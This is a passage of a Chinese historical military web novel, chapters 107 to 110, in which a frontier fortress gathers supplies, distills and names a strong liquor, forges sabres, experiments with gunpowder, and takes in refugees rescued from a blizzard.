雪地上鲜血淋漓,在白雪映衬下格外刺眼。
邓龙看着这一幕,真是一波三折,恍如梦中。
直到秦大壮大声下令打扫战场。他才回过神来,“扑通”一声跪倒,声音哽咽,眼圈通红。
“多谢将军救命之恩,邓某没齿难忘!”
说完,他急忙吩咐伙计:“快,快去取些银子来,不,是都拿过来,感谢将军救命之恩!”
秦大壮却摆手拒绝:“不必如此,我等是戍堡辩论,杀**,保境安民本就是我辈职责。”
“你们商队运的什么货物?欲往何处?”
邓龙连忙回答:“在下邓龙,江南人士。船上是粮食、哦,棉花,丝绸和茶叶,本想运到北方边寨榷场与草原商人交易
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,谁知...”
秦大壮眼睛一亮:“粮食?棉花?布料茶叶?这些都是我们铁血军寨及边堡急需的物资啊!”
他当即表明身份:“我是铁血军寨飞虎卫部将秦大壮。我们军寨正在大量收购这些物资。价格公道,而且以后来做买卖,安全有保障。”
“你们不如随我去双涡堡交易,总比冒险去双塔寨榷场与那些反复无常的草原商人交易要好。”
邓龙又惊又喜,连连点头:“救命恩人开口,邓某岂有不从之理?今后我等只认铁血军寨!”
在秦大壮率骑兵的护送下,船队顺利抵达双涡堡附近,堡内戍卒和青壮赶来,开始卸货。
粮食、棉花、丝绸、茶叶等物资源源不断运入堡内。
邓龙这笔生意不仅没有亏本,反而因为省去了中间环节,免去了抽成,赚得比预期还要多。
他拉着秦大壮的手,感激涕零:“秦将军,明年开春,运河解冻了,我必定再来!还要告知江南的商友,让他们都来铁血军砦交易。”
秦大壮憨厚一笑:“欢迎之至,我们秦将军说了,明年开春就在运河边设立榷场,专供商队交易,届时还会有大军护卫,保证安全。”
这样从船队获得物资的情况并非个例。
铁血军寨近来流民涌入众多,但粮食和物资囤积的数量更为可观。
不仅是青阳郡城中那些抢得刘家产业,与秦猛有合作关系的富户和商旅按约定送来粮食物资。
常九派人四处联络也有了成效。
王善、袁飞、王铁山、常勇等人忙碌异常,天天率领队伍往返北狼口、**滩、双塔镇,与各路商队完成交易,将一批批物资送至边寨。
这些商船运送的粮食、盐巴、铁料、棉花等货物数量巨大。
秦猛以略低于市场的价格全部吃下。
他除了预留抛售产业的银子外当作军寨储备。几乎用光了从刘德才家,冷艳山搜刮的现银。
甚至把许多东珠、玛瑙玉石、古玩等交给常九变卖,从他那预支了万两银子才勉强凑足货款。
没让商队血本无归,反而还让他们小有赚头。
商队们对秦猛雪中送炭的举动感激不尽,约定明年开春只会来铁血军寨交易,入驻新榷场。
铁血军寨花钱如流水,因此囤积了足够多的物资,才有底气吸纳大量流民,不用担心吃穿用度。
几天来,一车车粮食,油盐醋等生活用品入库。
新获得的铁料送入规模扩大的锻造坊。
一卷卷布料和棉花送到缝补作坊,制作冬衣。
……
“好哇!这冬天不会太难熬了,堡子里再不会饿**了……”老保长声音发轻,眼眶早红了。
他又想起几十年前,家里穷得揭不开锅,兄妹几个总饿到腿软。那天哥哥上山拾柴,脚下没站稳,一滑跌进山谷,最终没能救回来。
那年,哥哥才九岁,他未满六岁。
就在这时,一股熟悉又陌生的香气打断他的思绪。
“咦,好香啊!”王保长鼻子吸了吸,被勾地转了方向。
第107章 北风烈
“好香啊!”官署校场,乌维这嗅觉灵敏的家伙,也耸动着大鼻子,脑袋下意识地转动方位。
结果,屁股上却挨了秦猛一脚。
“给我狠狠脸,你们是亲卫队,是全军的表率……”
时近正午,天色却沉得像压了层铅,连一丝阳光都透不出来,风雪却掩不住男人低沉的吼声。
细碎的雪花转眼又给小校场铺了层薄薄的白霜。
秦猛没有在官署里歇着,正身穿铁甲,面色冷峻地站在小校场中央,亲自督导亲兵队训练。
这支五十人的卫队,是他这段时间从军中精心筛选的精锐,个个身强体壮、眼神锐利。
此刻除了十来个围在他身边学招的,其余三十多人都整齐列成四排,在雪地里笔挺站着军姿。
他们双手贴在裤缝,脊背绷得像拉满的弓,哪怕雪花落满肩头、渗进衣领,也依旧纹丝不动。
秦猛正手把手教导他们练习“黑龙十八手”。
这套搏杀技巧讲究快、准、狠,是后世禁学的杀招,专击致命要害,是近身格斗的利器。
他握着王良的手腕,调整其出拳角度。
“出拳要沉肩送胯,力从腰发,不然打在铁甲上跟挠痒似的。”
亲兵刚按他的指点打出一拳,拳风带起雪粒,秦猛满意点头,准备纠正下一人,鼻尖却突然微微耸动。
凛冽的北风里,竟掺了丝极淡却格外勾人的酒香,混着雪气飘过来,不仔细闻几乎察觉不到。
“好香啊!是酒…酒的味道!”
旁边的乌维再次抽了抽鼻子,粗声发出惊呼。还矫健地向旁边一跳,生怕秦猛又飞了一脚。
这个靠嗅觉在山林里捕猎的山蛮人,鼻子比猎犬还灵,此刻正探头探脑地往风吹来的方向望,眼里满是好奇。
秦猛当即停下教导,抬手示意亲兵队继续自行操练。转头望向酿酒工坊的方向,眼里多了几分疑惑。
此前因堡寨粮食储备充足,秦猛便与老保长等人商议,让几位酿酒师招收学徒,成立酿酒作坊。
既能酿制、研发新酒,也能为军寨增添一笔稳定财源。
只是作坊成立几天就出成果了?
“成了,成了!大人,成了!”
就在秦猛思索间,一道兴奋的呼喊从木工坊方向传来,伴着急促的脚步声,似有人飞奔而来。
秦猛循声望去,只见一个穿粗布袄、脸上沾着木屑的身影边跑边呼喊,正是木匠大师鲁明。
“成了?”秦猛先是一愣,随即反应过来是蒸馏装置做出来了,脸上瞬间露喜,快步迎上前:
“鲁师傅,可是蒸馏器做好了?”
“可不是嘛!”鲁明跑到近前,喘着粗气却难掩激动,抹了把额头的汗:“装置上午刚装好,试了一坛原酒,刚出酒就闻着香味,我赶紧来请您去见证!”
“好!”秦猛转头吩咐王良督导训练,不可偷懒。
说完,他便跟鲁明往木工坊走。
刚出官署,就听见身后有细碎脚步声。秦猛回头一看,竟是秦小芸正拉着王艳悄悄跟上来。
秦小芸扎着双丫髻,脸蛋冻得通红,睁着大眼睛笑:“哥,我们也想去看新酒,不会添麻烦的。”
秦猛无奈摇头,没拦着,只嘱咐她们跟紧点,别在工坊乱碰东西。
鲁明在前领路,越说越激动:“这蒸馏器可费了劲!木匠坊设计木桶,李师傅亲自打造铜管,杨皮匠做密封瓦圈,七八天没歇着。”
“一开始总失败——要么密封不严,要么冷却不够出浑酒,多亏您说的‘鱼胶圈密封’‘冷水循环冷却’,才慢慢摸透门道,昨晚终于调试好!”
鲁明满眼敬佩:“没您点拨,我们哪想得出这法子!”
秦猛笑着摆手:“师傅别谦虚,是你们手艺好,换了别人,有法子也做不出这么规整的器具。”
说话间已到木工坊后院,刚拐过墙角,一股更浓郁的酒香扑面而来,混着暖意驱散了寒意。
后院围了几个工匠,李铁匠也来了,学徒们探头探脑看灶台。见秦猛来,立刻纷纷让开。
灶台上,稳稳放着半人高的木桶,顶端钻孔接了弯曲铜管,铜管另一端对准空酒坛,外面还套着装冷水的木槽,学徒正往槽里加冰块。
——这套简陋装置,正是他画的蒸馏器雏形。
“大人,这就是蒸馏器,刚加了三十坛原酒,火刚点没多久。”鲁明指着木桶,语气满是期待。
秦猛围着器具查了一圈,摸木桶缝隙,鱼胶圈填得紧实,没漏气;看铜管接口也密封严实。
他点头:“做得不错,细节到位,开始吧。”
鲁明立刻招呼工匠各司其职:两个学徒添柴保火势,老匠人盯蒸汽变化,还有人备着空酒坛换。
柴火点燃,橘红火焰舔舐木桶底,不多时木桶壁发烫,铜管冒出缕缕白汽,遇冷凝结成液体。
火势渐旺,蒸汽变多,酒香越发浓郁,在场人都忍不住咽口水。
秦猛突然开口:“这刚开始流的酒为头酒,味醇而最烈,喝多了伤身子,需要烫热了再饮。”
之后,他又说了中酒和尾酒的特性。
差别就在于头酒含甲醇,尾酒杂质多,口感略差。而中间那段流出来的酒水才是最上品。
鲁明连忙应下,让学徒牢牢记住。
又等一刻钟,蒸汽稳定绵密,学徒把空酒坛挪到铜管下。
很快,清澈酒液像细线般流出,滴入坛中,毫无杂质,和浑浊的米酒,老酒等截然不同。
“这酒真清!”刚闻讯赶来的张富贵忍不住感叹。
李山凑上前抽鼻子:“香味比城寨上最好的稻花酒还浓,闻着就醉了!”
袁飞、徐强纷纷点头。
秦小芸和王艳也踮脚张望,小声议论酒的颜色。
酒液很快积了小半坛。
鲁明快步走到秦猛身边,声音发颤:“大人,这……这是成了?我们真做出新酒了?”
“嗯,成了。”秦猛看着酒液笑:“不过装置还简陋,以后得改进,如木桶换铁桶,受热匀,冷却槽做大些出酒快。但眼下能酿出蒸馏酒,已是突破。”
鲁明重重点头,眼里满是欣喜。
第一坛酒接满,秦猛抱起温热的酒坛,取来两个粗瓷碗,倒了小半碗,递给鲁明和李根生。
“两位师傅辛苦,尝尝味道。”
李根生仰头猛喝一大口,酒液入喉,强劲冲劲让他剧烈咳嗽,脸涨通红:“咳……这酒好烈!”
鲁明抿了小口,虽也被呛到,却品出了回甘。
“老李,慢些喝,有甜味!”
李根生依言慢饮,越喝越赞:“甘甜清洌,入腹暖乎乎的,比城里的‘状元红’还好喝!”
鲁明也点头:“有这蒸馏法,咱们的酒不愁卖,军寨又多了财源!”
“大人,我们也想尝!”张富贵、李山等人纷纷请求。
一旁的乌维急得伸手去抱酒坛,秦猛眼疾手快,一把拽住:“这酒烈,你这么喝不怕醉死?”
乌维挠头憨笑,只盯着酒坛。
“人人都有份!”秦猛让学徒抱来碗,亲自倒酒。众人或慢品或浅尝,喝完都赞不绝口。
有人夸酒劲足、暖身,有人夸味醇有回甘。
见众人反应热烈,秦猛拍板:“鲁师傅,木工坊多做几套蒸馏器,再组个改良小组,你和李叔牵头优化,不单是这个,也涉及武器。
晚点我跟老保长商议,把蒸馏酒并入酿酒工坊,招学徒规模化生产,以后运到其他州府去卖。”
“大人放心。”鲁明和李根生连忙应下,干劲十足。
酒的品质定了,众人开始议酒名。
张富贵说:“在南河边上酿的,叫‘南河酒’吧!”
李山反驳:“酒香飘十里,叫‘十里香’才对!”
李根生接话:“冬天喝暖身,叫‘暖身酒’如何?”
鲁明琢磨:“新法子酿的,叫‘新酿’也不错!”
秦猛却都不满意:“南河酒”普通,“十里香”缺硬朗,“暖身酒”不大气,“新酿”没特色。
他走到院门口,望着边疆雪景:北风卷雪,远山覆白,瞭望塔立在寒风中,心中有了主意。
“咱们守边疆、抗鞑子,这酒得有边疆骨气。”秦猛转身对众人说:“就叫‘北风烈酒’,合这呼啸的北风,也藏着守土的心思,你们觉得如何?”
话音落,众人先是一愣,随即拍手叫好。
“‘北风烈酒’!够劲!有军寨气势。”李山第一个鼓掌。
张富贵也点头:“贴合边疆,还显酒烈,寓意好!”
鲁明、李根生纷纷赞同。
秦小芸也拍着小手:“哥,这名字比‘暖身酒’好听多了!”
秦猛看着众人认可的模样,心头感慨。
“北风烈酒”是酒名,也是军寨志气,往后这酒香,会伴着军寨旗帜,在北风边疆扎下根。
第108章 风雨欲来
北风呼啸,卷着雪花,将天地染成苍茫一片。
在这风雪中,常勇亲自护送的车队在风雪中显出了轮廓。
车队浩荡,绵延数里,超过两百辆牛马大车顶着风雪前行,车轮碾过积雪发出“嘎吱”的声。
这是常九得了刘家产业送来的物资。
秦猛与他合作不假,但产业购置款还是要给的。
即便不按竞标夸大的数据支付,购置南河镇码头,船坞,布庄等产业,所需钱粮也不在少数。
眼下,这仅仅是送来的首批物资!
更多的粮秣需待来年开春、道路通畅后才能送达。
卸货时场面颇为壮观。
两千余石粮食被汉子们喊着号子送入新夯建的粮仓。
新来的流民看着那鼓鼓囊囊的粮袋就心安。
根本就不用动员,便自发来帮忙。
老保长王槐拄着拐杖,在粮仓与货场间来回忙碌,褶皱深刻的脸上难得露出一丝笑意。
他活了大半辈子,从未见过哪个军堡能如此阔绰。
此刻寨内十几座大粮仓已被塞得满满当当,七八个库房也堆积如山:棉花、铁料、布料等军需物资与油醋、姜蒜等生活用品一应俱全。
这些物资,足以支撑万人大寨度过漫长寒冬。
粮食物资虽足,却终究有限,更是真金白银换来的。若不创造收益,坐吃山空终非长久之计。
涌来的流民更不能闲下来生事。
老保长王槐明白林子大了什么鸟都有,他领头,与行营主簿诸葛风、文案李恒等人连日商讨。
最终拟定出一份覆盖冬春的流民安置细则。
秦猛审阅后当即批准执行。
李恒起草公文,诸葛风核验内容,秦猛签字盖印后,书吏们誊抄多份,张贴于寨内各处。
告示明言:流民安置后,以工代赈,每日可赚米粮。
待来年春暖,分田种地,帮工更可获银钱报酬。
文书罗列了各类活计:呼吁人们根据自身情况和特长来选,如随兵卒巡逻放哨、入作坊打下手、进工程队修建营地住房、铲雪清道等。
其后还明确标注了各活计的工时、对应的饭食与米面发放数目。
并列出‘禁止私下斗殴、严禁偷盗财物、不容屡教不改者、不许破坏寨内团结’四条符合军寨作风的核心律法。以约束军民、凝聚人心。
末尾盖着通红的军寨官印!
下方特别注明:边寨与普通州县不同,虽条条框框少,却执行严厉,望所有军民自觉遵守!
能吃饱穿暖、安稳求生,本是流民最朴素的愿望。
如今不仅有饭吃,还能挣银钱,众人无不振奋,干活格外卖力。
寨内处处可见忙碌景象:青壮随兵操练巡逻,半大少年协助值守瞭望,老者修缮营房、入坊帮手,妇人进入缝补坊、医疗所,养马……
就连冷艳山救下来的那批女子,除部分入医疗所和作坊外,竟也自发组织,仿效兵卒练习刺杀……
用老保长的话说:“雪壳子不齐腰深,就不能闲!”
两千余劳力各司其职,一派热火朝天。
铁砧叮铛轰鸣,锯凿刺耳不绝,号令低沉紧张,工程队呼喝如号子般起伏,寨外马蹄隆隆踏雪……
种种声响,交织成军寨大兴土木的激昂乐章。
而瞭望楼上时刻呼啸的刺骨寒风,则为这景象添上一笔悲壮。
秦猛立于官署的瞭望台上,望着寨内外军民干劲十足、忙而不乱的画面,心中踏实了不少。
他明白,唯有物资为基础、人口渐增、管理体系初成,铁血军寨才能真正在这苦寒之地扎根。
也只有军寨自给自足,有兵有粮,他保卫边疆、开疆拓土、马踏草原的抱负,才有实现的可能。
眼前的安稳仅是暂时的,更大挑战还在后头。他凝视广袤草原片刻,转身下塔,巡视军寨。
铁匠工坊已气象一新。
幽州大营调来的数十名熟练工匠,半数为铁匠。加入后,作坊规模迅速扩大,逐渐移至堡外。
一座座熔炉逐渐耸立,火光映雪,蔚为壮观。白松岭那边的匠人也建起熔炉,初步冶炼铁矿。
铁料充足供应下,马镫、马蹄铁源源不断产出。
李铁匠带队组建兵器小队,正尝试打造新兵刃。
“大人,您看这刀如何?”
李铁匠见秦猛到来,急忙捧出一把新锻的环首刀。
秦猛接过细细查看:入手分量十足,刀身修长挺拔,脊线流畅匀称,刀柄缠着防滑麻绳,刃口寒光隐隐,刀背厚,近战时能砸击敌人。
他取来一把制式军刀对砍,“铛”的几声脆响过后,制式军刀刃口崩出几个豁口,新锻的环首刀却仅略卷刃。
又试着重削木料,刀刃轻松斩断木段,不见滞涩。
“好!”秦猛由衷赞道,“这刀的韧性与锋利度,都比普通军刀强上不少,也超过鞑子弯刀。”
“产量如何?”秦猛话锋一转,直奔关键问题。
李铁匠掰着手指头算道:“铁料现在绰绰有余,就是人手分配嘛!
目前六成人手在赶制马镫、马蹄铁,只有两成人手专门打造武器,一天,能出十把环首刀。”
“嗯,马蹄铁关系到整个虎贲军,确实重要。”秦猛摩挲着下巴,随即向李铁匠提出量产建议。
“咱锻造时,可以拆分工序:李叔你带老手艺人专门负责刀身锻造与淬火这两道关键工序。
至于开锋、打磨、刀柄绑绳这些活儿,交给学徒来做,既能练手也不耽误进度。
另外你们再琢磨琢磨刀坯的塑形模具,要是能做出统一模具,批量生产效率肯定能提上来,造出的刀也更规整,优先装备咱们的军队!”
“好!”李铁匠眼前一亮,重重点头,爽快地揽下这担子。
随后,秦猛冒雪赶往火器坊。
几日前,范良按照计划,已带着徒弟把作坊迁到了远离堡寨的窑厂附近,避开人多之地。
一次次试验黑火药的配方,一心要找出威力最暴烈的配比。
刚到坊外,忽听“轰隆”一声闷响,大地微微震颤。
十余丈外的空地上,一团黄烟冲天而起,爆炸中心那块十来斤重的硬石被炸得四分五裂,碎石簌簌落在雪地上,刺鼻的火药味弥漫。
“大人,有些眉目了!”范良脸上沾着黑灰,眼神却亮得惊人,手里攥着一截粗制竹筒火管跑过来。
“您看,这火药的火劲已经够了!就是装药和封口的法子还得再琢磨。现在要么容易自爆,要么会漏气喷火,暂时没法放心用在实战里。”
方才的爆炸只是引燃了散放的药包,没在竹筒火管里成功引爆,但那威力已让秦猛看到了希望。
这东西要是能完善,引爆时必定是震慑敌人的杀器。
天色渐暗时,通往双涡堡的道路上,响起“得得”的马蹄声,秦大壮带着队伍顶着风雪赶回。
一进堡就即刻去见秦猛禀报情况。
“双涡堡是小堡,那边有八十来户人家,总共约四五百人,戍卒有近百,没设管队官和堡主。
只有一个叫黄安的队将管事,那人心性稳重,做事也谨慎。只是朝廷粮饷不足,边堡残破。”
“稳重?谨慎?”秦猛不屑地撇嘴。
两年前,鞑子围堡,不见相邻的双涡堡增援。
秦大壮没看到他的神色变化,继续汇报:“之前差人快马汇报过的,咱们支取的银子还剩下五百两。
商队那边送来的货物也都收好了,存进了堡里的粮仓,共买了两千石粮食……”
秦大壮顿了顿,神色变得凝重:“不过我们回来的路上,灭掉的契丹的游骑不像是偶然路过。”
“契丹鞑子?”秦猛面色瞬间沉了下来,眼中闪过凛冽的杀机。
这具身体的父亲秦武就是死在契丹鞑子手里。
根据地牢里那些女真俘虏的口供。
契丹和女真这种半游牧半定居的部落不一样。
他们是草原上的老牌部落,人口多、势力强,部落分支遍布广袤草原。
据说在草原北边还建了契丹王庭,号称有百万控弦之士,甚至效仿大周朝的制度建了国,国号叫“大辽”,还设了各级官职,规整得很。
“我觉得那伙鞑子兵是先锋队,后面肯定有大队鞑子。”秦大壮挠了挠头,说出自己的判断。
“大壮叔你都这么觉得,那这事八九不离十喽!”秦猛听他这么说,脸上的肌肉微微抽搐着。
秦大壮都有预感,那还用说吗?
秦猛越发肯定,契丹鞑子这是要有所动作了,而且极有可能是从双涡堡那边越境过来。
毕竟以前的南河边堡被捣毁过一次,人员逃的逃、散的散,今年换成双涡堡,其概率极大。
他已经有了打算,觉得有必要亲自去双涡堡一趟,实地查看那边的情况,也好早做准备。
第109章 风雪中的啼哭
荒野上白雪皑皑,寒风卷着雪粒,像刀子般抽打在数十个冻得瑟瑟发抖、蹒跚前行的流民身上。
他们衣衫褴褛,补丁摞着补丁,背上只驮着少得可怜的家当,是从并州灵寿关一带逃出来的幸存者。
队伍里,有拄着枯树枝当拐杖、走一步喘三口的老人。
有抱着孩子、面色惶恐到毫无血色的妇人。
有紧抿着干裂嘴唇、强撑着往前走的汉子。
还有几个半大孩子,衣衫单薄,冻得通红的小脚深一脚浅一脚地踩在积雪里,随时要栽倒。
自入冬以来,草原鞑子越境袭扰越来越频繁,来的人数一次比一次多,看样子是想冲破大周的灵寿关。
虎贲军黑虎卫(左威卫)虽和鞑子打了好几场大战,双方各有胜败。
可小股鞑子骑兵总趁夜偷袭村坊,边寨的援兵根本赶不及。
好多戍堡、村堡都被捣毁了,边民惨遭屠戮。
侥幸活下来的人,只能四散逃亡,漫无目的地寻找活路。
这伙流民辗转了好几个地方,偶然听闻铁血军寨招收流民、还分配田地、管饱饭,便抱着最后一线生机,冒着鹅毛大雪往边寨方向跋涉。
风雪越来越紧,刮得人睁不开眼,流民们身子晃得更厉害了,却坚持着,不敢停下脚步。
队伍中间,妇人余杨氏面色蜡黄,身子干瘦,脚步虚浮,怀里却紧紧抱着裹着破棉絮的襁褓。
那是她的命,是老余家仅存的念想。
她男人早在半个月前,为了护着她和孩子,死在了鞑子的刀下。
刀刃划破喉咙的血,溅在她的脸上和怀里的襁褓上,至今像块烙铁般,烫得她心口发疼。
跟着流民队伍逃了这些天,粮食早就断了,她只能挖草根煮糊糊充饥,胸口干瘪得挤不出一滴奶水。
夜里,孩子饿得失声大哭,哭声像小刀子扎她心。她却只能把冻得发僵的手指塞进孩子嘴里,让他含着吮吸,自己背过身偷偷抹泪。
她没得选,必须撑下去。
只要到了军寨就有吃的,孩子就能活。
这个念头像根救命的稻草,攥得她指节发白。
可此刻,这根稻草也快断了,她脚步晃得越来越厉害,眼前的风雪变成一片模糊的白,忽然脚下踩进深雪,身子一轻,重重栽倒在雪地里。
倒地的瞬间,她忘了自己的疼,只凭着本能拼尽最后力气侧过身,用单薄得能看见骨头的背部去撞冰冷的雪地,双臂却像铁钳似的,死死托着怀里的襁褓。
哪怕雪粒灌进衣领,冻得她打哆嗦,她也没让襁褓沾一点雪。
这些天,她连雪水都不敢多喝——怕喝了更饿,撑不到军寨。
此刻,女人早已油尽灯枯,脑子里嗡嗡作响,天旋地转间,眼前一黑,颤抖的双臂再也撑不住,一软,襁褓“啪嗒”一声滚落在积雪里。
“哇——啊呀呀……”襁褓里的婴儿瞬间被冻得放声大哭。
哭声细弱得像风中的烛火,却一下下揪着每个人的心。
婴儿的哭声惊动了整个队伍,流民们纷纷围过来。
看着倒在雪地里一动不动的余杨氏,看着雪地里啼哭的孩子,他们脸上满是悲戚,却没人敢上前。
他们自己都冻得快没知觉了,连伸手扶一把的力气都快没了。
一位头发花白的老者,与妇人是一个村屯的,上山采药,躲过一劫,与幸存村民一同逃亡。
此刻他冻得嘴唇发紫,颤巍巍蹲下身,枯树枝似的手指探了探余氏的鼻息,随即重重叹了口气。
老人声音发哑:“二娃媳妇……怕…怕是熬不到抵达军寨了。”
“叔…别,别管我……救,救娃儿,……”
余氏的气息微弱得像蚊子叫,眼皮重得抬不起来,可听到孩子的哭声,她苍白的手指还是颤抖着,往襁褓的方向扒拉积雪。
雪粒硌得她手指生疼,她却像没知觉似的,只断断续续地说:“这是咱…余家屯……最后的骨血了啊……求你们了……”
“好、好……娃我一定救!”余叔老泪纵横,冻僵的手哆哆嗦嗦伸过去,小心抱起啼哭不止的婴孩。
听到这句准话,余杨氏紧绷的身子忽然松了下来。
她勉强掀开一丝眼皮,模糊的视线落在襁褓上,孩子的哭声渐渐小了,嘴角竟轻轻勾了一下。
意识越来越沉,风雪的声音渐渐远了。她好像看到男人笑着朝她走来,还是穿着那件洗得发白的短褂,伸手对她说:“媳妇,咱回家了。”
寒风卷着雪粒刮在她脸上,她却一点都不觉得冷了……
正当流民们围着余氏,满心绝望的时候,一支百多人的车队顶风冒雪,缓缓驶了过来。
车队看到这群困顿不堪、随时要冻毙的流民。领队一声令下,主动靠近,然后停了下来。
领队的魁梧汉子,正是郡城厢军指挥使张崇。
他之前受了伤,除大臂箭伤基本好了,面色还带着些苍白,却还是按约定要去铁血军寨拜访秦猛。
林郡守为了感谢秦猛屡次相助,投桃报李之下,特意调拨了五百石粮食,让张崇一并押运过去。
张崇是个有本事,穷苦出身的汉子,见到流民队伍,询问情况后,当即下令队伍暂时休整。
救助倒在雪地里的妇人。
“我来!”伴随着一道清脆悦耳、却带着急切的声音,一个穿着精致白裙的女子快步跳下马车。
不是郡守之女林婉儿还能是谁?
要问林小姐怎么会在这里?
原来,是林婉儿偶然间偷听到父亲和张崇的谈话,知道他们要去铁血军寨,还要送粮食。
她便早早收拾了东西,带着侍女小蛮偷偷溜出府,混进了车队。
张崇发现后,劝了她好几次都没用,只能无奈答应,还私下派人回郡城禀报林安国,免得老上司不知道女儿去向,从而闹出误会来。
“诸位乡亲,别担心。”
“我家小姐懂一些岐黄之术,定能救这位姐姐!”
侍女小蛮紧随其后跳下马车,一边帮林婉儿挡着风雪,一边朝流民们大声说道,想让他们安心。
林婉儿完全不顾身上的白裙会被风雪弄脏,快步走到余氏身旁,蹲下身,熟练地拉起余氏的手腕给她把脉,又伸手掐了掐她的人中。
片刻后,她笃定地说。
“她身体没大碍,就是饿坏了,撑不住了!”
林婉儿立刻让侍女从小包裹里取出自己带的雪花糕。
这是她出门时,琴娘特意买来的点心。
如今派上用场,她细心地把糕点捏碎,又用自己的水壶倒出温水,调和成糊状,一点点喂给气息奄奄的妇人。
流民们看着那几块又白又软、散发着甜味的糕点,眼睛里都冒出了绿光,下意识地吞咽着口水,肚子也不争气的“咕咕”叫了起来。
他们太久没见过这样的食物了。
好在边上站着大队披甲持锐的兵卒。
流民们就算再饿,也没人敢上前争抢。
没过多久,妇人肚子里有了食物,终于缓了过来,呼吸也有力了几分,尽管虚弱,却没危险。
抱着襁褓的余老汉看着醒过来的妇人,激动得哽咽着说:“多谢姑娘的救命之恩,多谢姑娘!”
“多谢姑娘救这娃儿他娘。”
说着,他就要抱着婴孩给林婉儿跪下磕头。
“老伯,快起来,使不得!”林婉儿赶紧上前扶住他。
看着这群面黄肌瘦、满身风雪的流民,林婉儿心里一阵发酸,转身找到领队张崇。
“张大哥,咱们找个背风的地方休整一下吧,顺便升火架锅,熬点粥,给乡亲们填填肚子。”
“好!”张崇稍微犹豫了一下,他们有押运粮食的任务,但看着眼前的流民,还是立刻答应下来。
他马上下令,让几名军士散开去探路,
很快,军士们找到了一处背风的土坡,众人立刻支起行军锅,烧起火,取些押运的粮食熬粥。
随着锅里的米粥渐渐煮开,浓郁的米香弥漫开来。
流民们捧着分到的热粥,一边小口喝着,一边感激涕零地对着林婉儿和张崇连连道谢。
林婉儿得知他们也要去铁血军寨,便主动邀请他们同行,也好有个照应。
张崇略微沉吟了一下,看了眼缩在火堆边烤火的流民,啼哭的婴儿,无奈地苦笑,没有拒绝。
他知道这位林小姐没经历过这些苦,心地太善良,便转头低声吩咐心腹,让队伍加强戒备,确保安全。
队伍再次起程,老人妇孺坐在马车上。在这些流民的感激声中,朝着铁血军寨的方向走去。
第110章 初见铁血军寨
张崇被保举为燕北郡地方军营指挥使,尽管在养伤却没有落下公务,也学着庞巡检那一套。
他派心腹手下前往军营接管军队整顿。结果让他气得不轻,这郡城兵马都监就是个废物。
郡兵疏于操练,参差不齐,多有地痞流氓充数。
新官上任,军营唱反调的不少。
这回冒风雪送粮食,张指挥就把其中刺头儿拽上同行。
人上一百,形形色色。
厢军都头王骅近来心情不好,可说是甚为恶劣。
他本是个泼皮无赖,被强征入厢军中凑数。靠着一张嘴能说会道,拉拢关系,连连升职。
本以为靠着溜须拍马,巴结董都监。有望能够提为副指挥。再孝敬打点,说不得能扶正。
奈何,从天降下一个张崇,直接走马上任指挥。而且此人有本事,性格刚正不阿,与他犯冲。
这不,天寒地冻不在营房烤火,却被拿来护送什么粮食?还是前往动辄砍人的煞星军寨里去。
王都头憋了一肚子火,缺德事干多了,看谁都像与自己不对付,对这批流民同行很不放心。
途中,他多次向张崇进言,觉得流民会拖累行程,还可能有危险。甚至混杂奸细勾结鞑子。
“无防,咱们装备精良。”张崇斜着眼回应:“这群可怜人衣衫褴褛,瘦弱不堪,怕个鸟啊?”
这一趟风雪护粮之行,本就是他有意安排的。就是想让这个无赖投资知难而退,自行滚蛋。
王都头也知道自己不受待见,心里骂着娘。把火气撒在流民身上,更是格外警惕地盯着流民。
尤其是对几个青壮年男子,盘问得格外严格,语气也生硬得很,就差明说你是鞑子奸细。
几个壮小伙吃人嘴短,笑脸相迎,不跟他一般见识过,
流民们喝了热粥,又跟着车队走,精气神稍微好了一些。队伍里,陆续有人议论,如抵达军寨做点什么?会是什么待遇?会不会有吃的?
唯独有个沉默寡言的中年汉子石老三,一直紧紧护着一个破旧的工具箱,时不时还会伸手比画几下,嘴里念念有词,看着有些古怪。
他这奇怪的动作立刻引起了王都头的注意。他盯着箱子,疑心藏了凶器,盘问时语气严厉:
“你这箱子里装的什么?鬼鬼祟祟的!”
可石老三满脑子都是改良弓弩,只敷衍摆手。
“没什么,别烦我。”
这副油盐不进的态度,瞬间点燃了王都头的火气。
“好你个不知好歹的!竟敢不配合盘问,看来这箱子里果然有问题!”
他说着就要伸手去夺石老三的工具箱。
石老三也急了,喝斥着,死死把箱子往身后藏。
两人一推一挡,眼看就要吵起来,冲突一触即发。
这时,后面一辆马车追上来,林婉儿掀起车帘,笑着打圆场:“王都头,他许是怕生,您别多心。”
王都头哪敢得罪郡守之女?讪讪收回了手:“是我误会了。”转头又狠狠瞪了石老三一眼。
流民中,有个机灵的小男孩叫虎子,之前冻得缩在队伍后面,现在有了点力气,开始跑前跑后,很是活泼。
他对张崇麾下军士身上的铠甲和腰间的刀剑,既害怕又好奇,总是偷偷盯着看。
林婉儿看到后,拿出自己的丝绸手帕,轻轻帮虎子擦掉脸上的雪水和泥垢,又从包裹里拿出一块雪花糕递给他。
孩子接过糕点,最初的恐惧渐渐被好奇取代,眼神也亮了起来,叽叽喳喳说着并州那边状况……
队伍又往前走了两三里路,众人忽然发现了一条奇特的道路。
路面上的积雪只有薄薄一层,像是被人特意清扫过一样。
路面又硬又实,车马走在上面,速度一下子快了不少。
往远处望去,铁血军寨的轮廓渐渐清晰起来。流民们眼中闪过激动,呢喃着“终于到了”。
还没走到军寨近前,就听到寨外传来震天的杀喊声。
只见数百名兵卒在风雪中操练,阵型变幻有序,刀光在雪地里闪着冷光。
还有大队骑兵策马奔腾,马蹄声像雷声一样,卷起漫天雪浪。
再往远处看,好多劳力分队编组,喊着整齐的号子。
有的跟着兵卒一起训练,
有的在修建屋舍,有的在铲雪清道、修筑冰墙。到处都是繁忙的景象,一点没有寒冬的萧条。
军寨瞭望塔上的哨兵早就发现了他们。
很快,低沉的号角声响起,通报着他们的到来。
十余骑精锐骑兵从寨中疾驰而来,问清楚他们的身份和来意后。
一骑转身返回军寨通报。
其余的人则护送着车队和流民,一直到军寨门口。
张崇目光锐利,仔细打量着眼前的铁血军寨:
寨墙竟然有三丈多高,是用土木和巨石垒砌而成的,上面布满了雉堞,比寻常的县城还要坚固。
墙头上的哨岗,巡逻队戒备森严,旌旗迎风招展。
旗下的士卒虽然穿的棉衣有些陈旧,却都披着皮甲,身姿挺拔如松,眼神锐利得像鹰隼。
张崇这位久经沙场的老行伍,不禁暗自点头称赞。
他却不知道,这些守在墙上的,只是协助寨兵执勤的乡勇和民兵,勉强算是军寨预备队而已。
郡城的官粮队护送流民刚一抵达。
